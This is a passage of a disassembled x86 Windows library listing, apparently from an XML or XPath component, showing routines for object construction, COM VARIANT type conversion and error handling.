loc_69B663FF: ; CODE XREF: sub_69B663C1+3Aj
mov ecx, eax
mov eax, [esi+34h]
add eax, ecx
loc_69B66406: ; CODE XREF: sub_69B663C1+34j
pop esi
retn 8
sub_69B663C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B6640A proc near ; DATA XREF: .text:69B12F38o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
test byte ptr [esi+38h], 3
push edi
jz short loc_69B66427
push [esp+8+arg_4]
lea edi, [esi-10h]
mov ecx, edi
call sub_69B6615A
cmp eax, 0FFFFFFFFh
jnz short loc_69B66441
loc_69B66427: ; CODE XREF: sub_69B6640A+8j
lea edi, [esi-10h]
mov ecx, edi
call sub_69B66100
push [esp+8+arg_4]
mov ecx, [esi+4]
push [esp+0Ch+arg_0]
mov eax, [ecx]
call dword ptr [eax+54h]
loc_69B66441: ; CODE XREF: sub_69B6640A+1Bj
mov eax, [esi+38h]
and eax, 3
cmp al, 3
jz short loc_69B66452
mov ecx, edi
call sub_69B6618B
loc_69B66452: ; CODE XREF: sub_69B6640A+3Fj
test byte ptr [esi+38h], 4
jz short loc_69B6645D
xor ecx, ecx
inc ecx
jmp short loc_69B66460
; ---------------------------------------------------------------------------
loc_69B6645D: ; CODE XREF: sub_69B6640A+4Cj
mov ecx, [esi+30h]
loc_69B66460: ; CODE XREF: sub_69B6640A+51j
mov eax, [esi+34h]
pop edi
add eax, ecx
pop esi
retn 8
sub_69B6640A endp
; =============== S U B R O U T I N E =======================================
sub_69B6646A proc near ; CODE XREF: sub_69B664D0+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
mov dword ptr [esi], offset off_69B12FA8
mov dword ptr [esi+8], offset off_69B12F48
mov dword ptr [esi+10h], offset off_69B12EB0
and dword ptr [esi+38h], 0
and dword ptr [esi+3Ch], 0
mov eax, esi
pop esi
retn 4
sub_69B6646A endp
; =============== S U B R O U T I N E =======================================
sub_69B66498 proc near ; CODE XREF: sub_69B66370+3j
; .text:69B66383j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B664B3
test [esp+4+arg_0], 1
jz short loc_69B664AD
push esi
call sub_69B1829F
loc_69B664AD: ; CODE XREF: sub_69B66498+Dj
mov eax, esi
pop esi
retn 4
sub_69B66498 endp
; =============== S U B R O U T I N E =======================================
sub_69B664B3 proc near ; CODE XREF: sub_69B66498+3p
push esi
mov esi, ecx
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+38h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B664B3 endp
; =============== S U B R O U T I N E =======================================
sub_69B664D0 proc near ; DATA XREF: .text:69B6607Co
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B664E5
push 0
mov ecx, eax
call sub_69B6646A
retn
; ---------------------------------------------------------------------------
loc_69B664E5: ; CODE XREF: sub_69B664D0+9j
xor eax, eax
retn
sub_69B664D0 endp
; =============== S U B R O U T I N E =======================================
sub_69B664E8 proc near ; CODE XREF: sub_69B5F3B7+74p
; sub_69B5FD60+94p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B6633C SIZE 00000034 BYTES
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B664FA
mov ecx, eax
jmp loc_69B6633C
; ---------------------------------------------------------------------------
loc_69B664FA: ; CODE XREF: sub_69B664E8+9j
xor eax, eax
retn 8
sub_69B664E8 endp
; =============== S U B R O U T I N E =======================================
sub_69B664FF proc near ; CODE XREF: sub_69B65C93+3j
; .text:69B65CAEj
; DATA XREF: ...
mov eax, offset off_69B29710
retn
sub_69B664FF endp
; =============== S U B R O U T I N E =======================================
sub_69B66505 proc near ; CODE XREF: sub_69B65924+16p
; DATA XREF: .text:69B12C68o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_8]
mov esi, ecx
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B6CD21
and dword ptr [esi+2Ch], 0FFFFFFFEh
pop esi
retn 0Ch
sub_69B66505 endp
; =============== S U B R O U T I N E =======================================
sub_69B66521 proc near ; DATA XREF: .text:69B12C60o
; .text:69B12DA8o
push ebx
push esi
mov esi, ecx
mov ebx, [esi+20h]
shr ebx, 2
not bl
push edi
and bl, 1
call sub_69B6CC3B
test bl, bl
mov edi, eax
jz short loc_69B66552
mov ecx, [esi+28h]
test ecx, ecx
jz short loc_69B6654A
mov eax, [ecx]
call dword ptr [eax+40h]
jmp short loc_69B66552
; ---------------------------------------------------------------------------
loc_69B6654A: ; CODE XREF: sub_69B66521+20j
lea ecx, [esi-10h]
call sub_69B65903
loc_69B66552: ; CODE XREF: sub_69B66521+19j
; sub_69B66521+27j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_69B66521 endp
; =============== S U B R O U T I N E =======================================
sub_69B66558 proc near ; CODE XREF: sub_69B65EC5+16j
; DATA XREF: .text:69B12C64o
push esi
mov esi, ecx
mov ecx, [esi+28h]
test ecx, ecx
jz short loc_69B66567
mov eax, [ecx]
call dword ptr [eax+44h]
loc_69B66567: ; CODE XREF: sub_69B66558+8j
and dword ptr [esi+2Ch], 0FFFFFFFEh
mov ecx, esi
pop esi
jmp sub_69B6CCB6
sub_69B66558 endp
; =============== S U B R O U T I N E =======================================
sub_69B66573 proc near ; DATA XREF: .text:69B12CA0o
; .text:69B12DE8o
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esi+28h]
test ecx, ecx
jz short loc_69B66589
push [esp+4+arg_0]
mov eax, [ecx]
call dword ptr [eax+80h]
loc_69B66589: ; CODE XREF: sub_69B66573+8j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B6CD55
pop esi
retn 4
sub_69B66573 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B66598 proc near ; CODE XREF: sub_69B65E77+1Dp
; DATA XREF: .text:69B12C6Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov ecx, [esi+28h]
test ecx, ecx
jnz short loc_69B665B7
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B6CA2C
jmp short loc_69B665E4
; ---------------------------------------------------------------------------
loc_69B665B7: ; CODE XREF: sub_69B66598+Bj
xor eax, eax
cmp [ebp+arg_8], eax
jz short loc_69B665E4
push edi
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], edi
jz short loc_69B665E3
push [ebp+arg_8]
mov eax, [ecx]
push edi
push [ebp+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jz short loc_69B665E3
push eax
push edi
push [ebp+arg_0]
mov ecx, esi
call sub_69B6CA2C
loc_69B665E3: ; CODE XREF: sub_69B66598+2Dj
; sub_69B66598+3Dj
pop edi
loc_69B665E4: ; CODE XREF: sub_69B66598+1Dj
; sub_69B66598+24j
pop esi
pop ebp
retn 0Ch
sub_69B66598 endp
; =============== S U B R O U T I N E =======================================
sub_69B665E9 proc near ; DATA XREF: .text:69B12D04o
; .text:69B12E4Co
push esi
mov esi, ecx
cmp dword ptr [esi+30h], 0
jnz short loc_69B665F8
pop esi
jmp sub_69B6CA4E
; ---------------------------------------------------------------------------
loc_69B665F8: ; CODE XREF: sub_69B665E9+7j
push edi
call sub_69B6CA4E
mov ecx, [esi+30h]
mov edi, eax
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+4Ch]
and eax, edi
pop edi
pop esi
retn
sub_69B665E9 endp
; =============== S U B R O U T I N E =======================================
sub_69B66614 proc near ; CODE XREF: sub_69B658F2+4j
; DATA XREF: .text:69B12D60o
arg_0 = dword ptr 4
mov eax, [ecx+38h]
test eax, eax
jz sub_69B6C9EA
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+60h]
sub_69B66614 endp
; =============== S U B R O U T I N E =======================================
sub_69B66626 proc near ; DATA XREF: .text:69B12C70o
; .text:69B12DB8o
mov eax, [ecx+28h]
test eax, eax
jz sub_69B6CA3F
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+50h]
sub_69B66626 endp
; =============== S U B R O U T I N E =======================================
sub_69B66638 proc near ; DATA XREF: .text:69B12C90o
; .text:69B12DD8o
cmp dword ptr [ecx+4], 0
jz short loc_69B66645
fld ds:dbl_69B296F8
retn
; ---------------------------------------------------------------------------
loc_69B66645: ; CODE XREF: sub_69B66638+4j
mov eax, [ecx+28h]
test eax, eax
jz sub_69B6C9E3
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+70h]
sub_69B66638 endp
; =============== S U B R O U T I N E =======================================
sub_69B66657 proc near ; CODE XREF: sub_69B65EE0+8p
; sub_69B65EE0+51p ...
push ebx
push ebp
push esi
mov esi, ecx
test byte ptr [esi+3Ch], 1
push edi
jnz short loc_69B6668E
cmp dword ptr [esi+38h], 0
jz short loc_69B6668A
mov eax, [esi]
call dword ptr [eax+40h]
mov edi, [esi+38h]
mov ebp, [edi]
lea ecx, [esi+10h]
mov ebx, eax
mov eax, [ecx]
call dword ptr [eax+84h]
mov ecx, edi
push eax
push ebx
push dword ptr [esi+18h]
call dword ptr [ebp+48h]
loc_69B6668A: ; CODE XREF: sub_69B66657+10j
or dword ptr [esi+3Ch], 1
loc_69B6668E: ; CODE XREF: sub_69B66657+Aj
mov ecx, [esi+38h]
test ecx, ecx
jnz short loc_69B666D3
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
jmp short loc_69B666D8
; ---------------------------------------------------------------------------
loc_69B6669E: ; CODE XREF: sub_69B66657+85j
mov ecx, esi
call sub_69B65903
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov edi, eax
test edi, edi
jz short loc_69B666DE
mov ebx, [esi+38h]
test ebx, ebx
jz short loc_69B666DE
mov ebp, [ebx]
lea ecx, [esi+10h]
mov eax, [ecx]
call dword ptr [eax+84h]
mov ecx, ebx
push eax
push edi
push dword ptr [esi+18h]
call dword ptr [ebp+48h]
mov ecx, [esi+38h]
loc_69B666D3: ; CODE XREF: sub_69B66657+3Cj
mov eax, [ecx]
call dword ptr [eax+3Ch]
loc_69B666D8: ; CODE XREF: sub_69B66657+45j
mov edi, eax
test edi, edi
jz short loc_69B6669E
loc_69B666DE: ; CODE XREF: sub_69B66657+59j
; sub_69B66657+60j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B66657 endp
; =============== S U B R O U T I N E =======================================
sub_69B666E5 proc near ; DATA XREF: .text:69B12D50o
mov eax, dword_69B9B3E8
retn
sub_69B666E5 endp
; =============== S U B R O U T I N E =======================================
sub_69B666EB proc near ; CODE XREF: sub_69B659BF+23p
; DATA XREF: .text:69B12D64o
mov ecx, [ecx+38h]
test ecx, ecx
jz short locret_69B666FE
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+5Ch]
; ---------------------------------------------------------------------------
locret_69B666FE: ; CODE XREF: sub_69B666EB+5j
retn 8
sub_69B666EB endp
; =============== S U B R O U T I N E =======================================
sub_69B66701 proc near ; CODE XREF: sub_69B65A39+11j
; sub_69B65C9B+3j ...
push esi
mov esi, ecx
push 0
lea eax, [esi+38h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B6CBC6
sub_69B66701 endp
; =============== S U B R O U T I N E =======================================
sub_69B66717 proc near ; CODE XREF: sub_69B65F4D+8p
; DATA XREF: .text:69B12C9Co
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov ecx, [esi+28h]
test ecx, ecx
mov edi, eax
jz short loc_69B66747
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+7Ch]
push eax
lea eax, [edi+38h]
push eax
call sub_69B17320
loc_69B66747: ; CODE XREF: sub_69B66717+1Bj
cmp dword ptr [esi+8], 0
jz short loc_69B66751
and dword ptr [edi+3Ch], 0FFFFFFFEh
loc_69B66751: ; CODE XREF: sub_69B66717+34j
mov eax, edi
add edi, 10h
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
retn 4
sub_69B66717 endp
; =============== S U B R O U T I N E =======================================
sub_69B66761 proc near ; CODE XREF: sub_69B65E27+12p
; sub_69B667B7+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push [esp+4+arg_C]
mov esi, ecx
push [esp+8+arg_8]
push [esp+0Ch+arg_0]
call sub_69B6D314
push [esp+4+arg_4]
lea eax, [esi+38h]
mov dword ptr [esi], offset off_69B12D18
mov dword ptr [esi+8], offset off_69B12CB8
mov dword ptr [esi+10h], offset off_69B12C20
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 10h
sub_69B66761 endp
; =============== S U B R O U T I N E =======================================
sub_69B6679F proc near ; DATA XREF: .text:69B29714o
push 40h
call sub_69B17EF3
test eax, eax
jz short loc_69B667B4
push 0
mov ecx, eax
call sub_69B65C0F
retn
; ---------------------------------------------------------------------------
loc_69B667B4: ; CODE XREF: sub_69B6679F+9j
xor eax, eax
retn
sub_69B6679F endp
; =============== S U B R O U T I N E =======================================
sub_69B667B7 proc near ; CODE XREF: sub_69B5F498+218p
; sub_69B6349E+CFp
push 40h
call sub_69B17EF3
test eax, eax
jz short loc_69B667C6
mov ecx, eax
jmp short sub_69B66761
; ---------------------------------------------------------------------------
loc_69B667C6: ; CODE XREF: sub_69B667B7+9j
xor eax, eax
retn 10h
sub_69B667B7 endp
; =============== S U B R O U T I N E =======================================
sub_69B667CB proc near ; CODE XREF: sub_69B66805+3j
; DATA XREF: .text:69B1569Co
mov eax, offset off_69B667D8
retn
sub_69B667CB endp
; ---------------------------------------------------------------------------
align 8
off_69B667D8 dd offset off_69B29C74 ; DATA XREF: sub_69B667CBo
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B667E0 proc near ; DATA XREF: .text:69B1566Co
push dword ptr [ecx+0Ch]
add ecx, 0FFFFFFF8h
call sub_69B6C8AB
retn
sub_69B667E0 endp
; =============== S U B R O U T I N E =======================================
sub_69B667EC proc near ; DATA XREF: .text:69B13D10o
; .text:69B155E0o ...
mov eax, dword_69B9B310
retn
sub_69B667EC endp
; =============== S U B R O U T I N E =======================================
sub_69B667F2 proc near ; DATA XREF: .text:69B1565Co
mov eax, [ecx+8]
mov eax, dword_69B9A194[eax*4]
retn
sub_69B667F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B667FD proc near ; DATA XREF: .text:69B1562Co
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B676E0
sub_69B667FD endp
; =============== S U B R O U T I N E =======================================
sub_69B66805 proc near ; DATA XREF: .text:69B1563Co
sub ecx, 8
jmp short sub_69B667CB
sub_69B66805 endp
; =============== S U B R O U T I N E =======================================
sub_69B6680A proc near ; CODE XREF: sub_69B676D8+3j
; DATA XREF: .text:69B156B4o
push esi
mov esi, ecx
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6680A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B66820 proc near ; CODE XREF: sub_69B6699A+4ECp
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, ecx
mov ecx, [esi+14h]
xor ebx, ebx
push ebx
call sub_69B8A163
mov ecx, [esi+14h]
xor edi, edi
inc edi
push edi
mov [ebp+var_4], eax
call sub_69B8A163
mov ecx, [ebp+var_4]
lea edx, [ebp+var_28]
push edx
push [ebp+arg_8]
mov [ebp+var_8], eax
push [ebp+arg_4]
mov [ebp+var_28], ebx
push [ebp+arg_0]
mov [ebp+var_24], bl
mov eax, [ecx]
call dword ptr [eax+54h]
push edi
lea eax, [ebp+var_28]
push eax
push 5
lea ecx, [ebp+var_28]
call sub_69B64008
mov ecx, [ebp+var_8]
lea edx, [ebp+var_18]
push edx
push [ebp+arg_8]
mov [ebp+var_18], ebx
push [ebp+arg_4]
mov [ebp+var_14], bl
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+54h]
push edi
lea eax, [ebp+var_18]
push eax
push 5
lea ecx, [ebp+var_18]
call sub_69B64008
cmp [ebp+var_28], 5
jnz short loc_69B668A8
cmp [ebp+var_18], 5
jz short loc_69B668BB
loc_69B668A8: ; CODE XREF: sub_69B66820+80j
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B668BB: ; CODE XREF: sub_69B66820+86j
mov esi, [esi+10h]
sub esi, 6
jz loc_69B6696F
dec esi
jz short loc_69B66937
dec esi
jz short loc_69B6690A
dec esi
jnz loc_69B66983
mov ecx, [ebp+var_10]
mov eax, [ecx]
mov esi, [ebp+var_20]
push offset off_69B1A5AC
mov edi, ecx
call dword ptr [eax+24h]
test al, al
jz short loc_69B668F2
push esi
call sub_69B2F0C4
jmp short loc_69B66925
; ---------------------------------------------------------------------------
loc_69B668F2: ; CODE XREF: sub_69B66820+C8j
push ebx
push edi
mov ecx, esi
call sub_69B2F19F
cmp eax, ebx
jl short loc_69B66930
mov ecx, [edi+8]
push dword ptr [esi+8]
add ecx, eax
push ecx
jmp short loc_69B6691E
; ---------------------------------------------------------------------------
loc_69B6690A: ; CODE XREF: sub_69B66820+ABj
mov ecx, [ebp+var_20]
push ebx
push [ebp+var_10]
mov esi, ecx
call sub_69B2F19F
cmp eax, ebx
jl short loc_69B66930
push eax
push ebx
loc_69B6691E: ; CODE XREF: sub_69B66820+E8j
mov ecx, esi
call sub_69B2F3CD
loc_69B66925: ; CODE XREF: sub_69B66820+D0j
push eax
loc_69B66926: ; CODE XREF: sub_69B66820+115j
mov ecx, [ebp+arg_C]
call sub_69B48684
jmp short loc_69B66983
; ---------------------------------------------------------------------------
loc_69B66930: ; CODE XREF: sub_69B66820+DDj
; sub_69B66820+FAj
push offset off_69B1A5AC
jmp short loc_69B66926
; ---------------------------------------------------------------------------
loc_69B66937: ; CODE XREF: sub_69B66820+A8j
mov ecx, [ebp+var_10]
mov eax, [ecx]
push offset off_69B1A5AC
call dword ptr [eax+24h]
test al, al
jz short loc_69B66953
mov eax, [ebp+arg_C]
mov [eax], edi
mov byte ptr [eax+8], 1
jmp short loc_69B66983
; ---------------------------------------------------------------------------
loc_69B66953: ; CODE XREF: sub_69B66820+126j
mov ecx, [ebp+var_20]
push ebx
push [ebp+var_10]
call sub_69B2F19F
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_C]
setnz cl
mov [eax], edi
mov [eax+8], cl
jmp short loc_69B66983
; ---------------------------------------------------------------------------
loc_69B6696F: ; CODE XREF: sub_69B66820+A1j
mov ecx, [ebp+var_20]
push ebx
push [ebp+var_10]
call sub_69B2EECD
mov ecx, [ebp+arg_C]
mov [ecx], edi
mov [ecx+8], al
loc_69B66983: ; CODE XREF: sub_69B66820+AEj
; sub_69B66820+10Ej ...
lea ecx, [ebp+var_18]
call sub_69B466CC
lea ecx, [ebp+var_28]
call sub_69B466CC
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B66820 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6699A proc near ; DATA XREF: .text:69B15674o
var_5C = qword ptr -5Ch
pvarg = VARIANTARG ptr -48h
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_30 = qword ptr -30h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = qword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
mov esi, ecx
mov ecx, [esi+0Ch]
mov eax, [esi+8]
mov edx, [ecx+0Ch]
push 5
xor ebx, ebx
pop edi
cmp eax, edi
mov [ebp+var_1], bl
mov [ebp+var_C], edx
jg loc_69B66E5D
jz loc_69B66DDE
dec eax
jz loc_69B66CC2
dec eax
jz loc_69B66BCB
dec eax
jz short loc_69B669E3
dec eax
jnz loc_69B66E77
mov [ebp+var_1], 1
loc_69B669E3: ; CODE XREF: sub_69B6699A+3Cj
mov eax, [ebp+arg_C]
mov byte ptr [eax+4], 1
mov ecx, [esi+0Ch]
push ebx
call sub_69B8A163
mov ecx, [esi+0Ch]
push 1
mov edi, eax
call sub_69B8A163
lea ecx, [ebp+var_28]
push ecx
push [ebp+arg_8]
mov esi, eax
push [ebp+arg_4]
mov [ebp+var_28], ebx
push [ebp+arg_0]
mov byte ptr [ebp+var_24], bl
mov [ebp+var_38], ebx
mov [ebp+var_34], bl
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+54h]
push 1
lea eax, [ebp+var_28]
push eax
push 3
pop edi
push edi
lea ecx, [ebp+var_28]
call sub_69B64008
fld [ebp+var_20]
push ecx
push ecx ; double
fstp [esp+5Ch+var_5C]
call sub_69B84BCE
cmp eax, 200h
pop ecx
pop ecx
jz loc_69B66BAB
cmp eax, 1
jz loc_69B66BAB
cmp eax, 2
jz loc_69B66BAB
cmp eax, 4
jz loc_69B66BAB
mov eax, [esi]
lea ecx, [ebp+var_38]
push ecx
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+54h]
push 1
lea eax, [ebp+var_38]
push eax
push 5
lea ecx, [ebp+var_38]
call sub_69B64008
cmp [ebp+var_28], edi
jnz short loc_69B66A97
cmp [ebp+var_38], 5
jz short loc_69B66AAA
loc_69B66A97: ; CODE XREF: sub_69B6699A+F5j
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66AAA: ; CODE XREF: sub_69B6699A+FBj
cmp [ebp+var_1], bl
mov eax, dword ptr [ebp+var_30]
mov [ebp+arg_0], eax
jnz short loc_69B66B29
mov esi, [eax+8]
push esi
call sub_69B88D8C
cmp esi, ebx
mov edi, eax
mov [ebp+arg_8], ebx
jle short loc_69B66B11
loc_69B66AC7: ; CODE XREF: sub_69B6699A+175j
push [ebp+arg_8]
mov ecx, [ebp+arg_0]
call sub_69B2EDBF
cmp word_69B9A180, ax
jz short loc_69B66B09
cmp word_69B9A184, ax
jz short loc_69B66B09
cmp word_69B9A188, ax
jz short loc_69B66B09
cmp word_69B9A18C, ax
jz short loc_69B66B09
cmp word_69B9A190, ax
jz short loc_69B66B09
push eax
mov ecx, edi
call sub_69B88E7C
mov edi, eax
loc_69B66B09: ; CODE XREF: sub_69B6699A+13Fj
; sub_69B6699A+148j ...
inc [ebp+arg_8]
cmp [ebp+arg_8], esi
jl short loc_69B66AC7
loc_69B66B11: ; CODE XREF: sub_69B6699A+12Bj
cmp [edi+8], ebx
jle short loc_69B66B29
push ebx
push 0C00CE609h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66B29: ; CODE XREF: sub_69B6699A+119j
; sub_69B6699A+17Aj
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
fld [ebp+var_20]
mov ecx, [ebp+arg_0]
fstp qword ptr [ebp+pvarg.anonymous_0+8]
mov word ptr [ebp+pvarg.anonymous_0], 5
call sub_69B2F352
mov esi, eax
lea eax, [ebp+var_C]
push eax
push ebx
push ebx
push ebx
push esi
lea eax, [ebp+pvarg]
push eax
mov [ebp+var_C], ebx
call sub_69B6FDE2
test eax, eax
jge short loc_69B66B84
push 8 ; vt
push ebx ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+pvarg]
push eax ; pvarSrc
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jl short loc_69B66B84
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov [ebp+var_C], eax
mov word ptr [ebp+pvarg.anonymous_0], bx
loc_69B66B84: ; CODE XREF: sub_69B6699A+1C5j
; sub_69B6699A+1DEj
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
push [ebp+var_C]
call sub_69B64036
mov ecx, [ebp+arg_C]
push eax
call sub_69B48684
push esi ; BSTR
call SysFreeString
jmp loc_69B66FF1
; ---------------------------------------------------------------------------
loc_69B66BAB: ; CODE XREF: sub_69B6699A+ADj
; sub_69B6699A+B6j ...
push 1
lea eax, [ebp+var_28]
push eax
push 5
lea ecx, [ebp+var_28]
call sub_69B64008
push dword ptr [ebp+var_20]
mov ecx, [ebp+arg_C]
call sub_69B48684
jmp loc_69B66FF1
; ---------------------------------------------------------------------------
loc_69B66BCB: ; CODE XREF: sub_69B6699A+35j
push ebx
call sub_69B8A163
mov ecx, [esi+0Ch]
push 1
mov [ebp+var_10], eax
call sub_69B8A163
mov esi, [esi+0Ch]
push 2
mov ecx, esi
mov edi, eax
call sub_69B8A163
cmp edi, ebx
mov esi, eax
jz loc_69B66CAC
mov eax, [edi]
lea ecx, [ebp+pvarg]
push ecx
push [ebp+arg_8]
mov ecx, edi
push [ebp+arg_4]
mov dword ptr [ebp+pvarg.anonymous_0], ebx
push [ebp+arg_0]
mov byte ptr [ebp+pvarg.anonymous_0+4], bl
call dword ptr [eax+54h]
xor edi, edi
inc edi
push edi
lea eax, [ebp+pvarg]
push eax
push 5
lea ecx, [ebp+pvarg]
call sub_69B64008
cmp dword ptr [ebp+pvarg.anonymous_0], 5
jz short loc_69B66C3B
push ebx
push 0C00CE388h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66C3B: ; CODE XREF: sub_69B6699A+28Cj
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov esi, [eax+0Ch]
push ebx
push [ebp+var_10]
lea eax, [ebp+var_24]
push eax
push ebx
push esi
call sub_69B6282D
cmp eax, esi
jz short loc_69B66C60
mov ecx, dword ptr [ebp+pvarg.anonymous_0+8]
sub eax, esi
sar eax, 1
cmp eax, [ecx+8]
jz short loc_69B66C73
loc_69B66C60: ; CODE XREF: sub_69B6699A+2B8j
push ebx
push 0C00CE608h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66C73: ; CODE XREF: sub_69B6699A+2C4j
mov eax, [ebp+var_24]
cmp eax, ebx
jz short loc_69B66C9F
cmp eax, dword_69B9B628
jz short loc_69B66C8A
cmp eax, dword_69B9B620
jnz short loc_69B66C9F
loc_69B66C8A: ; CODE XREF: sub_69B6699A+2E6j
push eax
push dword ptr [ebp+var_20+4]
call sub_69B192E9
lea ecx, [ebp+pvarg]
mov esi, eax
call sub_69B466CC
jmp short loc_69B66CAF
; ---------------------------------------------------------------------------
loc_69B66C9F: ; CODE XREF: sub_69B6699A+2DEj
; sub_69B6699A+2EEj
mov eax, [ebp+arg_C]
mov [eax], edi
mov [eax+8], bl
jmp loc_69B672BB
; ---------------------------------------------------------------------------
loc_69B66CAC: ; CODE XREF: sub_69B6699A+256j
xor edi, edi
inc edi
loc_69B66CAF: ; CODE XREF: sub_69B6699A+303j
push esi
call sub_69B6E1B8
mov ecx, [ebp+arg_C]
mov [ecx], edi
loc_69B66CBA: ; CODE XREF: sub_69B6699A+43Fj
mov [ecx+8], al
jmp loc_69B672C3
; ---------------------------------------------------------------------------
loc_69B66CC2: ; CODE XREF: sub_69B6699A+2Ej
push ebx
call sub_69B8A163
mov ecx, [esi+0Ch]
push 1
mov [ebp+var_10], eax
call sub_69B8A163
mov esi, [esi+0Ch]
push 2
mov ecx, esi
mov edi, eax
call sub_69B8A163
cmp edi, ebx
mov esi, eax
jz loc_69B66DA8
mov eax, [edi]
lea ecx, [ebp+pvarg]
push ecx
push [ebp+arg_8]
mov ecx, edi
push [ebp+arg_4]
mov dword ptr [ebp+pvarg.anonymous_0], ebx
push [ebp+arg_0]
mov byte ptr [ebp+pvarg.anonymous_0+4], bl
call dword ptr [eax+54h]
push 1
lea eax, [ebp+pvarg]
push eax
push 5
lea ecx, [ebp+pvarg]
call sub_69B64008
cmp dword ptr [ebp+pvarg.anonymous_0], 5
jz short loc_69B66D30
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66D30: ; CODE XREF: sub_69B6699A+381j
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov edi, [eax+0Ch]
push ebx
push [ebp+var_10]
lea eax, [ebp+var_24]
push eax
push ebx
push edi
call sub_69B6282D
cmp eax, edi
mov ecx, dword ptr [ebp+pvarg.anonymous_0+8]
mov esi, [ecx+8]
jz short loc_69B66D57
sub eax, edi
sar eax, 1
cmp eax, esi
jz short loc_69B66D6A
loc_69B66D57: ; CODE XREF: sub_69B6699A+3B3j
push ebx
push 0C00CE608h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66D6A: ; CODE XREF: sub_69B6699A+3BBj
cmp [ebp+var_24], ebx
jnz short loc_69B66D93
push esi
push edi
push 1Ch
push offset off_69B672D0
call sub_69B63D0A
mov ecx, [ebp+arg_C]
cmp eax, ebx
setnz al
mov dword ptr [ecx], 1
